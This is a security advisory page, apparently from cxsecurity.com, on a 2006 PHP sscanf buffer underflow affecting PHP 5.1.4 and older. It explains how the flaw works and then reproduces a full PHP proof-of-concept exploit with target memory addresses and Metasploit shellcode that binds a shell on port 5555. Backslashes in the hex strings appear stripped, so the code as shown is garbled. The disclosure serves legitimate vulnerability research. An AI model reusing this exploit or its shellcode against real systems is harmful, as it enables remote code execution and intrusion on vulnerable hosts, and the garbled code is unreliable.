php local buffer underflow could lead to arbitary code execution

2006.08.09
Credit: Heintz
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Affected versions: php 5.1.4 and older, 4.4.3 and possibly older Cause: when php-s sscanf functions format argument contains argument swap and extra arguments are given like. sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to zval structure past the end of argument array by one. Php developers were notified and response and patching was quick. php bug tracker thread here: http://bugs.php.net/bug.php?id=38322 Vulnearability is fixed in CVS. Exploiting: Attacker needs a double pointer to writable segment in remote binary which can be obtained by compiling a binary based on all info known about remote host and disassembling binary and searching. This exploit first fills php internally cached memory with address of pointer (double pointer) to writable segment. Then by unsetting the variable it frees memory, but does not zero it, so this way we pass our own pointers to sscanf. Now sscanf allocated array has valid element one past the array, sscanf tries to call a function to destruct zval structure. if its 15-th byte isnt anything valid it will default to doing nothing and will continue without errors and returns; sscanf now sets the structure to be of type string and writes pointer to string (it matched from our first argument to sscanf) and strings length to a structure-s value union. the strings address is written to first 4 bytes of structure. knowing this we construct our own binary zval structure of type object. + shellcode + space to match format. So now we have successfully called sscanf for the first time and we got something like ptrptr->ptr->zval-of-type-string in memory zval-of-type-string first 4 bytes point to our object we passed as argument. so now we fill the internal cached memory with just pointer to zval. and free it. when sscanf reads the pointer this time it now moves upwards one level but still dereferences twice. thus acts upon our zval structure of type object. when the destructor function now sees the zval is an object it will read a pointer from our structure to another structure which supposed to contain function pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long thus address pointed to by structures offset 4 is called. when we give it our ptr-to-zval - 4 it will add 4 bytes to it and dereference it an call whatever is there. and there is address to our constructed zval object so we are executing code from the beginning of our structure. eip-hop-over will help us through unwanted bytes and we are on our way executing our shellcode. <?php /* POC developed by Heintz. Greets to Waraxe from www.waraxe.us All buds from www.plain-text.info Torufoorum Thanks to metasploit.com for shellcode loan. */ // tested addresses from php5ts.dll (php 5.1.4) running win x64 pro // $ptr_to_ptr_to_zval = "x10x43x54xCC"; // $ptr_to_zval = "x10x43x54xB0"; // $ptr_to_obj_handlers = "x10x43x54xAC"; // $ptr_to_zval-4 // addresses from php 5.1.4 cli, compiled with gcc version 3.3.6, // kernel 2.6.14-hardened-r3 $ptr_to_ptr_to_zval = "x08x1Ax64xC8"; $ptr_to_zval = "x08x1Ax60x0C"; $ptr_to_obj_handlers = "x08x1Ax60x08"; // $ptr_to_zval-4 // nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes $eip_hop_over = "x90x90x90xB8"; # linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com $shellcode = "x29xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13xef". "x57xe6x92x83xebxfcxe2xf4xdex8cxb5xd1xbcx3dxe4xf8". "x89x0fx7fx1bx0ex9ax66x04xacx05x80xfaxfaxe4x80xc1". "x66xb6x8cxf4xb7x07xb7xc4x66xb6x2bx12x5fx31x37x71". "x22xd7xb4xc0xb9x14x6fx73x5fx31x2bx12x7cx3dxe4xcb". "x5fx68x2bx12xa6x2ex1fx22xe4x05x8exbdxc0x24x8exfa". "xc0x35x8fxfcx66xb4xb4xc1x66xb6x2bx12"; if(bin2hex(pack('S',0x0010))!="0010") { // small endian conversion $t = $ptr_to_ptr_to_zval; $ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0}; $t = $ptr_to_zval; $ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0}; $t = $ptr_to_obj_handlers; $ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0}; } $object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over. "x05x01x90x90".$shellcode."xC3x90x90x20"; $str = str_repeat($ptr_to_ptr_to_zval,20); unset($str); sscanf( $object_zval, '%1$s', $str); putenv("PHP_foo=".str_repeat($ptr_to_zval,64)); putenv("PHP_foo="); sscanf( "a ", '%1$s', $str); ?>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top